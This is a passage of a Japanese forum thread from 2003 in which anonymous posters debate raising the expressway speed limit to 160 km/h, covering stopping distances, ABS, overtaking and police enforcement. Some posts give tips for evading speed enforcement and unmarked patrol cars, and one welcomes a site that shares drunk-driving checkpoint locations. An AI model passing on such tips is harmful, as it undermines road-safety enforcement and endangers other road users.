免許更新のときにもらえる交通の教則に書いてある数字ですね。

では、

100km/hのとき
空走距離は約20.8m、制動距離は約78.7m、停止距離は約120.5m。

160km/hのとき
空走距離は約33.3m、制動距離は約201.6m、停止距離は約234.9m。

机上の計算ですが、おおむねこのくらいになるそうです。
空走距離は単純に速度に比例するのはすぐわかると思います。
高校程度の物理の知識があれば制動距離は速度の2乗に比例することがわかると思います。

ちなみに反応時間については特別早い人でも0.5秒程度はかかるそうです。疲れなど悪影響があると1秒を超えることもよくあるそうです。
また摩擦係数が0.5というのは乾いたアスファルト路面での日本車の平均的な数値だそうです。車の性能や路面状況によって異なります。

もちろん急ブレーキは滅多にないのですが、急ブレーキをかけた場合に制動距離だけで200mも走るような速度では普通に止まろうとしたときにいったい何m必要なのでしょうか?

162 :安全君:03/11/17 15:38 ID:aD+yuoJS
高速は
晴天…120km/h
カーブが多い場合…80km/h〜100km/h
雨天…80km/h
霧…60km/h

一般道
4車線(歩車分離式、中央分離帯付)…70km/h
 〃 (中央分離帯なし)…60km/h
2車線(歩車分離式)…60km/h
 〃 (外側線のみ)…50km/h

快適かつ安全を求めるなら。

163 :名無しさん@お腹いっぱい。:03/11/17 15:40 ID:D8XuuZvb
160で駐車トラックにでも追突したらビルの40階くらいから落ちる衝撃と同じ。
そらデカイ事故になる罠

164 :名無しさん@お腹いっぱい。:03/11/17 15:46 ID:???
高速道路でストレスなく走れるのは車と人によるが
おおむね80〜100キロ。
100キロを超えると意外と疲れる。
燃料もよく食う。

165 :名無しさん@お腹いっぱい。:03/11/17 18:03 ID:???
>>161
160規制でも良いというのは全ての車に160で走ることを求めているわけではないでしょ。
>車と人を選べば160キロでも遅いくらいでしょう。
つまり160で走れる人、走れる車のみが160で走ればいいだけのこと。
規制緩和に反対の人の中には法定速度を上げればほとんどの人がその法定速度で走る
との考えを持っている方がいるようですが、その考えは間違っていると思います。

アウトバーンでは左車線はポルシェ、BMWをはじめとする無理なく200巡航可能な
性能を持つ車しか走っておらず、遅い車・止まれない車が紛れ込んでくる事はありません。
日本の場合でも「法定速度」を「指定速度」ではなく本来の意味の「最高速度」であると認識を改めれば
160規制はなんら問題がないと思います。

そのためには法定速度で走っていると後ろの車をイライラさせてしまうような
現状の規制を改める必要があると思います。
現状では法定速度が低すぎるため、その速度あるいはさらにプラスαで
走らなければ周りに迷惑がかかるという常識ができてしまいつつありますので。

日本でも3車線の高速の右車線は140~150程度で流れているのが現状です。
理論はどうあれ実際は160規制され、それを尊守しているのと同程度の現状なわけです。
厳しすぎる規制により交通道徳が蔑ろにされているのか
交通道徳の程度が低いため規制を厳しくせざるを得ないのか
意見は分かれるところだと思います。

個人的には規制を緩和する一方で取締りを厳しくすることにより
この問題は改善するのではないかと思います。
現状の規制・取り締まりでは捕まっても反省どころか
運が悪かった程度にしか思いませんからね。
守ってる車のほうが圧倒的少数なのですから。

166 :161:03/11/17 20:53 ID:???
>160規制でも良いというのは(略)でも遅いくらいでしょう。

人のカキコにレスするのであれば、ちゃんと読んでからにしていただきたい。
「誰もいない道路を1台の車が走行するのであれば」と書いているだろ。読めないのか?それとも読まないのか?

>つまり160で走れる人、(略)その考えは間違っていると思います。

交通環境を無秩序にしてどうする。皆好き勝手に道路を走るのか?でたらめだ。

>アウトバーンでは(略)なんら問題がないと思います。

この国は日本国であり、決してドイツではない。
環境も国民性も違うのに都合よく解釈しないこと。

>そのためには法定速度で(略)常識ができてしまいつつありますので。

君のその考えに改めるべき点はないのか?君の考えは完璧なのか?

>日本でも(略)と同程度の現状なわけです。

うそをつくな

>厳しすぎる規制により(略)分かれるところだと思います。

その2つのことは同じことを言っているようにしか見えない。

>個人的には規制を緩和する一方で(略)守ってる車のほうが圧倒的少数なのですから。

まったくもって、君の私見だ。

167 :165:03/11/18 00:27 ID:???
>>166
160へアンカーうってありますが僕へのレスですよね?それを前提に以下。

>> 人のカキコにレスするのであれば、ちゃんと読んでからにしていただきたい。
>> 「誰もいない道路を1台の車が走行するのであれば」と書いているだろ。読めないのか?それとも読まないのか?
読みましたよ。「十分な車間距離を取り、遅い車が追い越し車線に入り込んでこない」等の条件を満たせば
「誰もいない道路を一台の車が走行するのであれば」との条件と危険性は大差ないと思いますが。
もちろん「大差はない」であって「同じだ」とは言ってません。
その差はあなたの「車と人を選べば(160でも)遅いくらいでしょう」と
僕の「一部の人と車が出しても良い最高速度として160は問題ない」の微妙な違いにも表れているかと。

>> 交通環境を無秩序にしてどうする。皆好き勝手に道路を走るのか?でたらめだ。
なぜ無秩序なのですか?
左車線・中央車線・右車線それぞれのスピードで流れる
後ろからより速い車がきたら遅い車線に移って道を譲る
これらの事がそんなに無秩序な事でしょうか?

>> この国は日本国であり、決してドイツではない。環境も国民性も違うのに都合よく解釈しないこと。
環境や国民性の違いのどの辺が、かたや速度無制限・かたや100`規制
これほどの違いを生み出しているのでしょうか?
私はその辺に詳しくないのでよろしければご教授ください。

続く

168 :165:03/11/18 00:30 ID:???
続き

>> 君のその考えに改めるべき点はないのか?君の考えは完璧なのか?
改めるべき点もあることでしょう。完璧だなんて思っていませんよ。
ただ今まで経験・見聞してきたことからの現時点での僕の意見を述べたまでです。
完璧かどうかはわからない、あるいは相手に論破されるかもしれないが
その時点での自分で最良と思われる意見をぶつける。
それが議論というものではないですか?

>> うそをつくな
嘘じゃないですよ各高速道の東京からの3車線区間は
左車線100程度 中央車線120程度 右車線140程度で流れてます。
無論、車が多いときは速度は落ちますし、他の地域のことはわかりませんが。

>> その2つのことは同じことを言っているようにしか見えない。
どちらが原因でどちらがそれによる結果なのか
全く逆の2通りの例を上げたつもりだったのですがおわかり頂けませんか?
私の書き方が悪いのでしょうか。今後はもっとわかりやすく書くように努力しますね。

>> まったくもって、君の私見だ。
はい。文頭に「個人的には」と書いてあります。
個人的な意見を述べ、それに対する他の方の意見を伺うつもりだったのですが
何かいけなかったでしょうか?

169 :名無しさん@お腹いっぱい。:03/11/18 13:51 ID:JVTg1BFY
>>161
>>急ブレーキをかけた場合に制動距離だけで200mも走るような速度
そもそも高速道路で急ブレーキを掛けて停止しなければならないケース自体、非常に限られてますよね。

例えば、
1)渋滞最後尾に付いた場合
直線区間なら、234.9m手前で渋滞を見つける事は可能ですよね。
年齢や視力等の条件で難しい方は、そのような条件に見合った速度で走れば良い訳です。
2)低速車を追い抜く際に、被追い抜き車が後方確認を怠って割り込んできた場合
停止ではありませんが、急減速が必要でしょう。
低速車を追い抜く際は、予め速度差30km以内にして、尚且つブレーキに足を乗せて(空走距離が短縮される)追い抜くべきでしょう。
3)インター等の合流で低速車が直前に流入
流入個所では、当然減速等の対応をすべきです。
4)前方で落下物
貨物車やキャリア付き乗用車などに追随して160km走行するのであれば、車間距離を234.9mより多く取るのも方法です。
また、交通量が少なければハンドルで回避も考えられます。
交通状況に合わせて速度・車間距離を調整すれば問題無いと思いますが。

主なものとしては、こんなとことでしょうか?
要は、あくまで上限160kmという事で、「常に160kmで走り続けましょう」という事では無いという事です。


170 :名無しさん@お腹いっぱい。:03/11/18 14:03 ID:???
>>169
30km/hと60km/h程度の速度差も危険だというバカが
なんで100km/hと160km/hの速度差は認めるんだ?(w
大型や小型の巡航は良いところ100km/h程度だよ

モマエの言い分で走ってれば今までだって死人なんか出てないつーの
現実に高速の玉突が絶えない100km/hの現状をふまえて物を言えよ


171 :名無しさん@お腹いっぱい。:03/11/18 14:06 ID:???
>169
>1)
渋滞は直線のみで発生するわけではないと思うが、渋滞するときは必然的に全体の速度が落ちるので参考程度でよいかもしれない。

>2)・・・予め速度差30km以内にして、尚且つブレーキに足を乗せて追い抜くべきでしょう。
アクセルを踏んで速やかに追い越すのが普通と思います。

>3)
ボトルネックになるだけ。渋滞になる。事故の元。

>4)
もともと落ちていたものはどうするの?
一般道でも結構直前にならないと気づかないものですよ。
しかもけっこう踏んでいる人がいる。
とっさのときは意外とかわせないものですよ。

ところで、160キロ走行中に急ハンドルを切ってはならないことはご存知と思いますが、
車の限界としてどの程度まで急ハンドルが切れると思いますか?
タイヤの性能を超えるとハンドルを切っても車は曲がりません。
カーブをオーバースピードで通過しようとするとアンダーステアになることからよくわかると思います。

172 :名無しさん@お腹いっぱい。:03/11/18 14:12 ID:???
160km/hで走っていて急ブレーキをかけたとき
161にあるように234.9mで止まることができる人って
どのくらいいるのですか?
161の例ってあくまで乾いたアスファルト路面で効果的にブレーキをかけたときでしょ。
ABSついててもABSが効くまで強くブレーキペダルを踏むことができない人もけっこういるんだよ。

173 :133-135・152:03/11/18 14:21 ID:JVTg1BFY
>>166
>>この国は日本国であり、決してドイツではない。
>>環境も国民性も違うのに都合よく解釈しないこと。
1)「環境」について
日本の高速道路も人車分離は徹底してますよね。
都市部や山間部で著しくカーブが多い区間は別の規制が必要でしょうが、それ以外の区間でそれほど大きな違いが有りますか?
2)「国民性」について
具体的にどのような面で国民性が違うのでしょうか?
一般的に日本人のモラルがドイツ人よりも特に低いとか、運動能力において著しく劣るとかいうような事は無いと思うのですが、どうでしょう?

まあ、日本の当局が非現実的な速度規制をして「安全=低速走行」というようなドライバー教育しかして来なかったのに対して、ドイツの場合高速度走行を前提として安全に高速度走行する為のドライバー教育を行って来たように思えます。
その点の違いは有るかもしれませんが、それは「国民性」の違いというよりも「当局」の違いではないでしょうか?

>>154
>>あなたは基本的に車のことしか考えていない。
>>道路には車の他に、自転車もいる、歩行者もいる。
>>それらが交錯している。
「交錯」している生活道路では、速度を落とすべきです。
生活道路に関しては、道路の凹凸など、現状よりももっと効果的な対策を提言させて頂いてますが。

174 :名無しさん@お腹いっぱい。:03/11/18 21:58 ID:gmndXEIq
>>170
>>なんで100km/hと160km/hの速度差は認めるんだ?(w

いえ、ですから169で「低速車を追い抜く際は、予め速度差30km以内にして、尚且つブレーキに足を乗せて(空走距離が短縮される)追い抜くべきでしょう。」と書いたんですが・・・。

>>171
>>アクセルを踏んで速やかに追い越すのが普通と思います。

171さんはそうしてるんですか?
速度差が大きい追い抜きでは、それは止めた方がいいですよ。
特に、高速道路では尚更です。
「かもしれない」運転を心がけていれば、速度差の大きな追い抜きは当然減速する筈ですが。

>>160キロ走行中に急ハンドルを切ってはならないことはご存知と思いますが、

落下物を回避するだけなら、最大でも隣の車線へ移る程度ですよね。
穏やかにハンドルを切れば、問題無いと思いますが。

>>172
>>ABSついててもABSが効くまで強くブレーキペダルを踏むことができない人もけっこういるんだよ。

教習メニューに加えれば済む話では?
単純に力任せに踏めばあとの加減はABSがやってくれる訳ですから、極めて単純な事ですよね。
取得は容易だと思います。

「ABS未装着&ロックさせないように自分でブレーキを加減は不可」な場合は、それなりの速度で走れば良い訳です。
速度制限は最高限度ですから、あくまで性能と技量に合った速度で走ってくれれば良い訳です。


175 :名無しさん@お腹いっぱい。:03/11/19 03:04 ID:jexYwA4P
いろいろ議論されているが最高速度でもめても進まない。
誰かも言ってたが一番良い燃費で走れるのは80-90km/h程度
なんだからみんなそれで走るべし。

高速道は急ぐ人も多かろうと思うので100km/hで走る車を
安全に追い越すことの出来る130-140km/hくらいが適当と考える。

何時間も140km/hで走るのはしんどいし燃費も良くないよ。


176 :名無しさん@お腹いっぱい。:03/11/19 03:08 ID:jexYwA4P
まず警察の事故を防ぐ目的でない捕まえる為の取締りを止めて貰いたい。
たとえば

・追越禁止区間が終わったとたんのネズミ捕り
・譲り車線直後のネズミ捕り
・一旦停止区域での隠れての取りしまリ

こんな卑怯な取締りをどう思う?

177 :名無しさん@お腹いっぱい。:03/11/19 07:14 ID:???
>174
高速道路で160km/hで巡航中に追い抜きする度にアクセル抜いて130km/h前後まで減速するのか?
あまり現実的ではない運転のような気がしますが?

160km/hで巡航中に落下物を発見し、最悪にも隣の車線に車がいた場合は、急制動+急ハンドルで間違いなく事故になると思いますよ。

>176
取締りについての議論はよそでどうぞ。


178 :名無しさん@お腹いっぱい。:03/11/19 09:12 ID:ssahsKft
>>176
最近やっと本当に事故の原因になっている飲酒運転の取り締まりに本腰をあげたから
少しくらいは愛嬌でいいんじゃないか?
交通事故なんて、飲酒と違法駐車が無くなったらほとんどなくなるぞ。


179 :オデッサ:03/11/19 21:05 ID:WVXB7XFE
いろいろなご意見あって当然と思います。
自分の意見は規制緩和があっても良かろう場所も
あり、逆にもっと厳しくしなければならない場所も
あると思います。
ただ、いちばん問題なのは行政ですね。
当然規制緩和して結果として事故が増えた場合の
責任を最も嫌います。
今の時代道路状況も刻々と変化します、ただ行政は
それによる修正を大変めんどくさがりやらない。
大罪の元は行政ですな!

180 :名無しさん@お腹いっぱい。:03/11/19 23:15 ID:JqJGTkQn
>166のやつ面白かったのに、もう来ないのかなぁ(・∀・)ニヤニヤ

181 :名無しさん@お腹いっぱい。:03/11/19 23:58 ID:nucM2Z11
>>176
結局の所、20-44にもあるように、「一定の反則金収入を確保する」という目的が大きいような気がします。
勿論反則金収入が目当てと言う証拠は有りませんが、反則金収入で「安全の為の設備」が作られてる事は間違い無さそうですし、発注してる官僚も居れば、受注して生計を立ててる業者も居る訳ですよね?
やめさせる為の方法について107で提案してますので、宜しかったらいかがでしょうか?


182 :名無しさん@お腹いっぱい。:03/11/20 00:31 ID:kp8f3Puo
>>177
>>160km/hで巡航中に追い抜きする度にアクセル抜いて130km/h前後まで減速するのか?

いえ、あくまで低速車を追い抜く場合です。
例えば第三車線を160kmで巡航中に、第二車線を走行中の130kmを追い抜くなら減速は不要だと思います。

>>あまり現実的ではない運転のような気がしますが?

そうですか?
私はやってますよ。
年代物でABS未装着の車という事もあり160kmなんて滅多に出しませんが、140kmで巡航中に隣の車線の90kmの車を追い抜く場合は120km位まで落としてますけどね〜。
何しろ年代物(w)なので再加速に時間がかかりますが、稀ですが後方確認を怠って割り込んでくる車は存在しますし、そんな車と衝突して死ぬ位事を考えれば再加速にかかる時間と燃料は惜しむべきでは無いと考えてます。

>>160km/hで巡航中に落下物を発見し、最悪にも隣の車線に車がいた場合は、

交通量は当然考慮しながら走るべきでしょうね。
前車が落としたものを回避する際に車線変更が困難な交通量なら、車間距離を「234.9m+安全マージン」まで取るか、それが困難な状況なら速度を落とすかするべきだと思います。

>>急制動+急ハンドルで間違いなく事故になると思いますよ。
ABS未装着車で160km走行中に「急制動+急ハンドル」をすると、ブレーキやハンドルを加減しない限り、コントロールを失って飛んで行っちゃいますよね。
落ちついてハンドルを切るか、それが出来ないならABS未装着車はそれなりの速度で走るかするべきだと思います。


183 :名無しさん@お腹いっぱい。:03/11/20 00:42 ID:kp8f3Puo
>>175
>>130-140km/hくらいが適当と考える。

高性能車も増えてるので最高速度は160kmが望ましいとは思いますが、140kmでも十分許容しうる規制だとは思います。
最高速度が140kmなら守る人が大多数になると思いますし、そうすれば速度規制の説得力も随分上がると思います。

>>何時間も140km/hで走るのはしんどいし燃費も良くないよ。

「しんどい」に関しては個人差も有るでしょうが、「燃費が良くない」のは確かですね。
車種にもよるのでしょうが、結構燃費は悪くなる思います。


184 :名無しさん@お腹いっぱい。:03/11/20 00:49 ID:kp8f3Puo
>>179
>>行政はそれによる修正を大変めんどくさがりやらない。
>>大罪の元は行政ですな!

同感です。
民間企業なら顧客の満足を増進する為に日々努力しないと生き残れませんが、行政はそんな面倒な事をしなくても生き残れますしね。
だからこそ、我々利用者や一般市民が声を上げないと動かないと思います。
宜しかったら、107で提案している方法で一緒に声を挙げてみませんか?


185 :名無しさん@お腹いっぱい。:03/11/20 11:04 ID:???
>182
ABSと急制動は関係があるけど、ABSと急ハンドルは関係ありませんよ。
急ハンドルに関係あるのはタイヤと路面の関係。つまりグリップ能力。
タイヤの性能、路面状況、速度が大きく影響します。
ABSがついているとタイヤがほとんどロックしないため、急制動時でもハンドル操作が可能ということだけです。

186 :名無しさん@お腹いっぱい。:03/11/20 11:49 ID:???
>182
追い越し車線を140km/hで走行中に、走行車線の車を抜く際にいつも120km/hまで落すってことか?
こういうヤツには追い越し車線走って欲しくないな。挙動が読めなくて他の車に危険を及ぼしているだけだよ。
走行車線の車の動きをみていれば、減速しなくてもだいたい車線変更してくるかどうかは読めるよ。
逆に読めないような動きしてくるやつは120km/hに減速していたって避けられるわけない。
お願いだからあなたは追い越し車線に出てこないで走行車線を走っていて下さい。

187 :名無しさん@お腹いっぱい。:03/11/20 13:47 ID:J93H3/Yk
>>186
>>いつも120km/hまで落すってことか?

記述の通り、「低速車を追い抜く」場合だけですよ。
それも、自分が第三車線を走ってる場合なら、第二車線に低速車が居る場合だけ。
そんなに頻繁に減速ばかりしてる訳じゃ無いよ。
普通、極端に遅い車は第一車線を走るでしょ?

>>動きをみていれば、・・(略)・・読めるよ。

読めますよ。
でも、車線変更の兆候が出てから急ブレーキ掛けるの?
その方が危険じゃない?
「出て来る」となってからの急ブレーキだと、後方の車間距離に構ってる余裕が少なくなるよね。
だったら最初から減速しておいた方が、はるかに安全だと思いますが。

>>逆に読めないような動きしてくるやつは120km/hに減速していたって避けられるわけない。

そんな事はありませんよ。
万一前兆無しに出て来ても、相対速度30kmならブレーキを踏めば瞬間的に減速出来る筈ですが。
つまり、186さんは「読めないような動きしてくるやつ」に出会ってしまったら、事故ってもしょうがないという事ですか?
まあ、そこまで割り切ってるなら構わないけど。

他車の動きを予想するのは当然だけど、稀におかしな動きをする車も有るんだから、予想だけに頼りすぎるのは如何なものでしょう?
高速道路上には、昨日免許取った人やサンデードライバーも居るし、普段近所の買い物位しか乗らないオバチャンが何らかの事情で走ってるかもしれないし、中には酔っ払い運転だって居るかもしれない。
そういう車の動きまで、186さんは完璧に予想出来るのかな?
「他車を信頼しない」というのが安全の為の鉄則だと思うんだけどな。

188 :名無しさん@お腹いっぱい。:03/11/20 13:56 ID:J93H3/Yk
>>185
>>ABSと急ハンドルは関係ありませんよ。
「急制動+急ハンドル」の話をしていたのではなかったですか?

>>急制動時でもハンドル操作が可能ということだけです。
「だけ」って・・・。
この場合、それが大変重要だと思うのですが。

189 :名無しさん@お腹いっぱい。:03/11/20 14:00 ID:???
>187
あんたが「読めないような動きしてくるやつ」だ。
自己満足に浸らないこと。

>相対速度30kmならブレーキを踏めば瞬間的に減速出来る筈ですが。
あぶねーよ。周りに迷惑だ。最初からゆっくり走れ。

>普通、極端に遅い車は第一車線を走るでしょ?
普通じゃない人は、あなたがいるようにどこにでもいる。
追い越し車線を100キロ未満で走り続ける人っているでしょ。



190 :名無しさん@お腹いっぱい。:03/11/20 14:03 ID:???
>188
車の限界を超えればタイヤがロックしなくてもハンドルは効きません。
ハンドル切っても車は思ったようには進路を変えてくれません。

広いところで試してみるといい。
ハンドルを好きな角度に切り、ハンドルはそのままで速度だけ上げてください。
ある速度から車はどんどん大回りしていきます。

191 :名無しさん@お腹いっぱい。:03/11/20 14:15 ID:lnhv2sP6
人間の性能も考えないとダメでしょうなぁ〜
残念ながら、現状は機敏な人から、鈍いじじ、ばば、挙げ句の果ては
漢字が読めないバカ、ときには犬のウンコ以下まで同居している訳だから
100km/hでは不満を感じる普通の人だけを対象とするわけにはいかん罠
適正を考え直さねばなんねーな。 頭悪い奴には免許やるなYO。

192 :名無しさん@お腹いっぱい。:03/11/20 14:29 ID:J93H3/Yk
>>190
>>車の限界を超えればタイヤがロックしなくてもハンドルは効きません。

それはそうですが、ABS未装着だとタイヤがロックし易くなりますよね。
加減しながらブレーキを踏める人ばかりではないですから。
ロックすると、全くハンドルは効かなくなるのですが。

>>普通じゃない人は、あなたがいるようにどこにでもいる。

「普通じゃない人」に出会ったら、必要に応じて減速すべきでは?


193 :名無しさん@お腹いっぱい。:03/11/20 14:36 ID:???
タイヤの限界を超えればロックしなくてもハンドルは効きません。
速度が上がればカーブ曲がりにくくなるのはわかるでしょ?

194 :名無しさん@お腹いっぱい。:03/11/20 14:42 ID:???
ちなみにABS未装着車がロックしやすいというのは、あくまで急制動の場合のこと。
ABS装着者だって瞬間的なロックを繰り返しています。ABSをスローで見ればわかりますが、タイヤが止まったり回ったりしています。
タイヤロック以外でハンドル操作が効かなくなるケースとしてハイドロプレーニング現象がありますが、晴れた日でも極度に速度を上げすぎるとタイヤの能力が追いつかなくなり似たような状況になる可能性はあります。


195 :名無しさん@お腹いっぱい。:03/11/20 14:46 ID:???
ちなみに単なる減速においてABSの有無は全く関係ないですよ。
ABSが効くほどブレーキを踏んで減速するわけじゃないでしょ?
違いますか?

196 :オデッサ:03/11/20 16:35 ID:4kvLOQ7n
》184
宝くじ買っても(行動を起こしても)なかなか当たらないけど(なかなか
変わらないけど)買わないと絶対当たらない。(行動を起こさないと絶対
変わらない。ですな・・・・・
でも、敵も手ごわいですよ、これは家の町内会の話しだけどマジ実話
道路が狭く小学生が危ないので、時間制限の侵入禁止にした道路がある。
ところがその道路が拡張され、立派な歩道もついた、当然安全性が良好に
なったので近隣住民の便利性でその侵入禁止を変更して頂くべく、
警察に陳情依頼したところ、おまえらが変えろと言ったから変えたのに
またそれを変える事は絶対にしないぞ  とのこと全く取り付くひまなし。
困ったね行政・・・速度の事でないのはあしからず。

197 :名無しさん@お腹いっぱい。:03/11/20 16:54 ID:???
このスレで緩和を力説してる香具師はちょっと無能っぽいよな
そんなノウハウあるなら現状で5000人くらいに死者を減らす
ノウハウを力説してから歌えちゅーの
香具師の理屈ならどんな規制でも死者は0だよ

こんな低速域でこんな死んでるのにねぇ
老若男女に大型〜チャリンコが差別無く道路利用する現実見てから
160だのABSだの歌ってほしいよ


198 :名無しさん@お腹いっぱい。:03/11/20 17:53 ID:???
×取り付くひまなし
○とりつく島もない


199 :オデッサ:03/11/20 18:06 ID:4kvLOQ7n
》198
スマン

200 :186:03/11/20 18:23 ID:???
>187
だからさ、あなたの言ってる低速車の定義って何km/hよ?前述の90km/hってことか?
高速道路を160km/hで走っているときに、走行車線の車が90km/hか100km/hかわかるのか?
普通の高速の走行車線はだいたい100km/h前後で流れてると思うが?
あなたの地域では走行車線が130km/h前後で流れているんですか?
だいたい高速道路で、追い越し車線を追走して走る場合は前の車は不要な減速はしないと思って走ってる人が多いと思うけど?
走行車線に遅い車がいるだけで、減速されたら危なくってしょうがいないよ。あ、サンデードライバーにはこういう人多いかもねw
189氏の言うとおり、あなたが「読めないような動きをするやつ」だね。
それにどこの高速道路も3車線あるわけじゃないよ。2車線のとこの方が多いと思うが?

>万一前兆無しに出て来ても、相対速度30kmならブレーキを踏めば瞬間的に減速出来る筈ですが。
出てくる場所にもよるでしょう。
直前5mでいきなり車線変更してきたら、相対速度なんて関係ないよ。

「他車を信頼しない」ということは、いつも交差点ではこっちが優先道路でも、相手が出てくるかもしれないと思って徐行するのか?
信号が青でも信号無視してくるヤツがいるかもと思って徐行するのか?
そんな運転してたら渋滞ばかり起きるな。
あ、ちなみにあなたが高速道路で追い越し車線はしっていたら間違いなく渋滞の原因になるね。





201 :名無しさん@お腹いっぱい。:03/11/20 21:41 ID:d9IMWbe2
>>200
>>あなたの地域では走行車線が130km/h前後で流れているんですか?

自車が140kmで、第二車線が110-120kmで流れてる事が多いですね。
第二車線が100km以下で流れてる場合は第三車線もそれなりに通行量が多いので、140km巡航なんて出来ない事が多いですよ。

>>「他車を信頼しない」ということは、いつも交差点ではこっちが優先道路でも、相手が出てくるかもしれないと思って徐行するのか?

程度の問題です。
後方確認を怠って針路変更をする車って結構有りますよ(勿論一部ですが)。
優先道路で路地から他車が飛び出してくるなんて話よりも、ずっと現実的だと思います。
それ位は想定して運転しても良いのでは?
勿論後方確認を怠った相手方の無謀さを責めるのは簡単ですし、事故ってから「相手が割り込んだ」と主張すれば相手方の過失割合が大きくなるかもしれません。
でも、死んでから相手の過失を責めてもね(w


202 :名無しさん@お腹いっぱい。:03/11/20 21:59 ID:d9IMWbe2
>>196
そうですね。
警察に陳情しても無理っぽいですね。
何故だろう?って考えて見ると「官」は選挙が無いですよね。
だから、選挙の有る「政」の方が市民の声には敏感にならざるを得ないと思うんです。
そこで考えたのが「政党へのメールによる陳情」(107参照)なんです。
みんなで知り合いなどにも呼びかけて数が増えれば、動かざるを得なくなるかもしれません。

逆に交通規制の厳格化を望んでる人達は、全体から見ると少数派だと思いますけど署名運動などをして行動してますよね。
緩和すべきと考えている人は多数派だと思いますが、発言しないですよね。
これではダメだと思うんです。
サイレントマジョリティーでは当局に無視されるだけです。
一旦発言し始めれば数が多いだけに「政」を動かす力になり得ると思うんですけど、どうでしょうか?


203 :名無しさん@お腹いっぱい。:03/11/20 22:06 ID:???
>201
>自車が140kmで、第二車線が110-120kmで流れてる事が多いですね。
あなたの地域が特殊です。
>後方確認を怠って針路変更をする車って結構有りますよ(勿論一部ですが)。
それはあなたの思い違いの可能性がある。
追い抜こうとしているあなたがそう思うような場合というのは、追い抜こうとしているあなたが追い越される車の死角に入っている可能性が高い。
追い抜こうとしているのに死角にはいることを自覚していないあなたも未熟だ。
他車を追い抜こうとするばあいは必ず相手の死角に入ることを認識しなければならない。
死角に入っているときが最も危険だ。

204 :名無しさん@お腹いっぱい。:03/11/20 22:09 ID:???
>202
交通規制の厳格化や取締りの強化を望んでいる人はけっこう多いんだよ。
ただし、自分が取締りにあうのはいやな人が多いだけだ。

205 :名無しさん@お腹いっぱい。:03/11/21 00:04 ID:y5rndbxf
>>203
>>あなたが追い越される車の死角に入っている可能性が高い。
一般論として死角を十分考慮すべきというのは当然だと思います。
でも、この場合は違いますね。
まずはミラーの死角に関してですが、どの程度の角度なら死角が発生するかを考えて頂ければ分かると思いますが、死角が原因ならかなり直前に割り込まれる筈です。
あと割り込み車の後車によって発生する死角に関しては、お互いに死角になるので分かり易いのですが、やはり当てはまらないようです。

それに仮に死角が原因だとしても、ミラーによって発生する死角部分を通過せずに追い抜く事は不可能ですよね。
だとすると、追い抜きの際の相対速度をおおむね30km以内に抑えて追い抜く事は必要ではないでしょうか?

>>あなたの地域が特殊です。
あくまで交通量がそれ程多くない場合ですが、それでも「特殊」ですか?
交通量が多ければ140km前後で巡航なんて出来ませんから、そもそも問題になりません。



206 :名無しさん@お腹いっぱい。:03/11/21 00:07 ID:y5rndbxf
>>204
>>交通規制の厳格化や取締りの強化を望んでいる人はけっこう多いんだよ。
そうは思えません。
取り締まりが適正だと思う人が多かったら、何故こんなに守らない人が多いんですか?
まあ、警察関係者に面と向かって問われれば「現状の取り締まりはやり過ぎだ」とは答えられないとは思いますが。

それに、66後半で挙げられてるような事は、私にはどうしても警察による世論操作としか思えません。
勿論、世論操作との疑問はあくまで私の印象ですが、少なくとも結果として国民の世論を曲げて伝えてしまってる事は確かなように思われます。
警察関係者を目の前にして答えさせるアンケートが、世論を公正に反映していると思いますか?

本当に現状の速度規制の維持・強化を望んでいる人が多いなら、そんな事する必要はありませんよね。

207 :名無しさん@お腹いっぱい。:03/11/21 13:10 ID:???
>そうは思えません。
そうか?
2chでも「もっと厳しく取り締まれ」と言っている人はけっこういるんだよ。
ただし、規制自体を緩くしろとか自分を取り締まるなとか言っている人も多いけどね。

208 :校長が強盗:03/11/21 13:42 ID:DFgI99Sd
この事件は報道されていません。教育委員会も校長を処分しません。
 皆様の力でこの事件を広めてください。
被害者先生のサイト
 http://www.geocities.co.jp/NeverLand/8595/
 事件究明を求める署名サイト
 http://chiba_273.at.infoseek.co.jp/
   ∧_∧
  (  ^^ )< ひろめよう


209 :オデッサ:03/11/21 18:36 ID:1vPSVtuZ
》202
そうですね。町内会長さんも言ってました政治家使わないと!
ただ、太いパイプないと銭がカカルンダヨネーともイッテマシター!

210 :オデッサ:03/11/21 21:40 ID:1vPSVtuZ
何はともあれ高速が160km/h制限になったらうれしいな。
少なくともオービスとパト&覆チャンに使っている神経
ほかに回せる。神経燃費50%UP・・・
あくまでも願望、サアこれから仕事で神経使いに行ってきます。
本日常磐。

211 :名無しさん@お腹いっぱい。:03/11/21 22:41 ID:1K4eKefD
>>210
お仕事お疲れ様です。
常磐は、以前にパトカーに追尾された事が有ります。
夜だったので計測中に赤い光がよく見えて、慌てて減速して事無きを得ました。
やはり「大型セダンや大型クーペが後ろに付いたらすぐに左車線へ退避」というのが鉄則みたいですね。

本当に、高速が160km制限になったらいいですよね〜。
ドライバーも楽ですし、取締り要員が少なくて済むので(関係者は嫌がるだろうけど)税金も少し下がるかも。
宜かったら、みんなで(107・202参照)請願しませんか?

では、お気を付けて。

212 :名無しさん@お腹いっぱい。:03/11/21 23:31 ID:???
俺的には免許の更新を無くして車検を5年毎にしてくれたほうがよっぽどいい。
パスポートでさえ5年か10年なのになんだよ2年ってアフォか。
あれだけでどんだけ潤ってんだ関係者どもは。
意味の無い搾取行為をあたりまえにしてんじゃねえ。

制限速度は今のままでいいが、追い越しの際はプラス20キロまではOKとするのがいい。
夜中や見通しのよい直線道路などのねずみ捕りはやらない。
これくらいでいい。俺的には。
あと制限速度尊守させたければ余裕でリミッター速度で巡航できる車を認可してんじゃねえ。
と言いたい。



213 :名無しさん@お腹いっぱい。:03/11/22 16:33 ID:L7+KW8Ve
http://www.yomiuri.co.jp/main/news/20031122i406.htm
「○×交差点で飲酒検問やってるで」――。スピード違反や飲酒運転などを取り締まる警察の交通検問の場所などを携帯電話のメールで教え合うサイトが登場し、近畿をエリアとしたサイトの登録会員だけでも開設後約半年間で3万人を超えているという。

214 :名無しさん@お腹いっぱい。:03/11/22 18:23 ID:???
>>213
いいね〜。
GPS携帯やカーナビと連動したら最強。

業務妨害うんぬん言ってるけどその警官かなりのアホだな。
それとも検問は集金のための”業務”なのかな?
そのサイト知らんからあれだけど、建前が
「検問を迂回しましょう」では無くて
「検問があるので違反はやめましょう」
だったら何の文句も言えないと思われ。
むしろ違反の予防に一役買って表彰もんだろ。

参考までに
警察庁依命通達(昭42・8・1 警察庁乙交 警察庁次長)
1 交通指導取締りに関する留意事項
1)交通取締り指導のあり方
交通指導取締りにあたっては、いわゆる点数主義に堕した検挙のための検挙
あるいは取締りやすいものだけを取締る安易な取締りに陥ることを避けるとともに、
